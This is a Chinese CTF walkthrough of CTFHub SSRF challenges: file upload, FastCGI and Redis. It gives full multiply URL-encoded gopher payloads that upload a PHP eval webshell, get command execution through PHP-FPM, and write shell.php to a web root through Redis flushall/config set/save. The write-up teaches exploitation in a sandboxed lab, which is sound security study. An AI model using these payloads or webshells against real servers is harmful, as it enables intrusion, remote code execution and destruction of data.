CTFHUB技能树——SSRF（二）

news2024/11/24 19:46:05

上传文件

FastCGI协议

Redis协议

上传文件

题目描述：这次需要上传一个文件到flag.php了.祝你好运

index.php与上题一样，使用POST请求的方法向flag.php传递参数

//flag.php页面源码
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

意思是需要在本地上传且文件不能为空，这里缺了一个提交按钮，F12添加一下

<input type="submit" name="submit">

传入一句话木马，bp抓包

进行第一次URL编码

%0A修改为%0D%0A

编码三次后，构造payload：

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520challenge-fb16eba286308f94.sandbox.ctfhub.com%25253A10800%25250D%25250AUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A126.0%252529%252520Gecko/20100101%252520Firefox/126.0%25250D%25250AAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252C%25252A/%25252A%25253Bq%25253D0.8%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------396330150721127131974217416617%25250D%25250AContent-Length%25253A%252520389%25250D%25250AOrigin%25253A%252520http%25253A//challenge-fb16eba286308f94.sandbox.ctfhub.com%25253A10800%25250D%25250AConnection%25253A%252520close%25250D%25250AReferer%25253A%252520http%25253A//challenge-fb16eba286308f94.sandbox.ctfhub.com%25253A10800/%25253Furl%25253Dfile%25253A///var/www/html/flag.php%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250APriority%25253A%252520u%25253D1%25250D%25250A%25250D%25250A-----------------------------396330150721127131974217416617%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%2525221.php%252522%25250D%25250AContent-Type%25253A%252520application/octet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252509%252540eval%252528%252524_POST%25255B%252527line%252527%25255D%252529%25253B%25250D%25250A%25253F%25253E%25250D%25250A-----------------------------396330150721127131974217416617%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%2525E6%25259F%2525A5%2525E8%2525AF%2525A2%25250D%25250A-----------------------------396330150721127131974217416617--

传入得flag

FastCGI协议

题目描述：这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客

工具准备：Gopherus、python2

GitCode - Gopherus

git clone https://gitcode.com/tarunkant/Gopherus.git

apt install python2

配置完成后，运行 gopherus.py 脚本

python2 gopherus.py --exploit fastcgi

选择一个当前存在的php页面，这里选主页index.php，命令执行ls查看目录

再cat查看flag

获得payload，再进行两次URL编码

但是没有flag

应该是flag字符串被过滤了，使用f*绕过

得到payload，再URL编码两次

最终payload：

?url=http://127.0.0.1:80/index.php?url=gopher%253A//127.0.0.1%253A9000/_%252501%252501%252500%252501%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500%252500%252501%252504%252500%252501%252500%2525F6%252506%252500%25250F%252510SERVER_SOFTWAREgo%252520/%252520fcgiclient%252520%25250B%252509REMOTE_ADDR127.0.0.1%25250F%252508SERVER_PROTOCOLHTTP/1.1%25250E%252502CONTENT_LENGTH59%25250E%252504REQUEST_METHODPOST%252509KPHP_VALUEallow_url_include%252520%25253D%252520On%25250Adisable_functions%252520%25253D%252520%25250Aauto_prepend_file%252520%25253D%252520php%25253A//input%25250F%252509SCRIPT_FILENAMEindex.php%25250D%252501DOCUMENT_ROOT/%252500%252500%252500%252500%252500%252500%252501%252504%252500%252501%252500%252500%252500%252500%252501%252505%252500%252501%252500%25253B%252504%252500%25253C%25253Fphp%252520system%252528%252527cat%252520/f%25252A%252527%252529%25253Bdie%252528%252527-----Made-by-SpyD3r-----%25250A%252527%252529%25253B%25253F%25253E%252500%252500%252500%252500

得到flag

也可以ls /查看根目录，然后再URL编码两次放进url可见flag的文件名，cat读取即可得到flag

Redis协议

题目描述：这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

还是使用Gopherus脚本：

python2 gopherus.py --exploit redis

选择php，默认路径，payload 为一句话木马：

<?php @eval($_POST['cmd']); ?>

将生成的payload再进行两次URL编码

最终payload得：

?url=http://127.0.0.1:6379/index.php?url=gopher%253A//127.0.0.1%253A6379/_%25252A1%25250D%25250A%2525248%25250D%25250Aflushall%25250D%25250A%25252A3%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525241%25250D%25250A1%25250D%25250A%25252434%25250D%25250A%25250A%25250A%25253C%25253Fphp%252520%252540eval%252528%252524_POST%25255B%252527cmd%252527%25255D%252529%25253B%252520%25253F%25253E%25250A%25250A%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525243%25250D%25250Adir%25250D%25250A%25252413%25250D%25250A/var/www/html%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%25252410%25250D%25250Adbfilename%25250D%25250A%2525249%25250D%25250Ashell.php%25250D%25250A%25252A1%25250D%25250A%2525244%25250D%25250Asave%25250D%25250A%25250A

访问页面显示504，但已经上传成功了 shell.php已经写入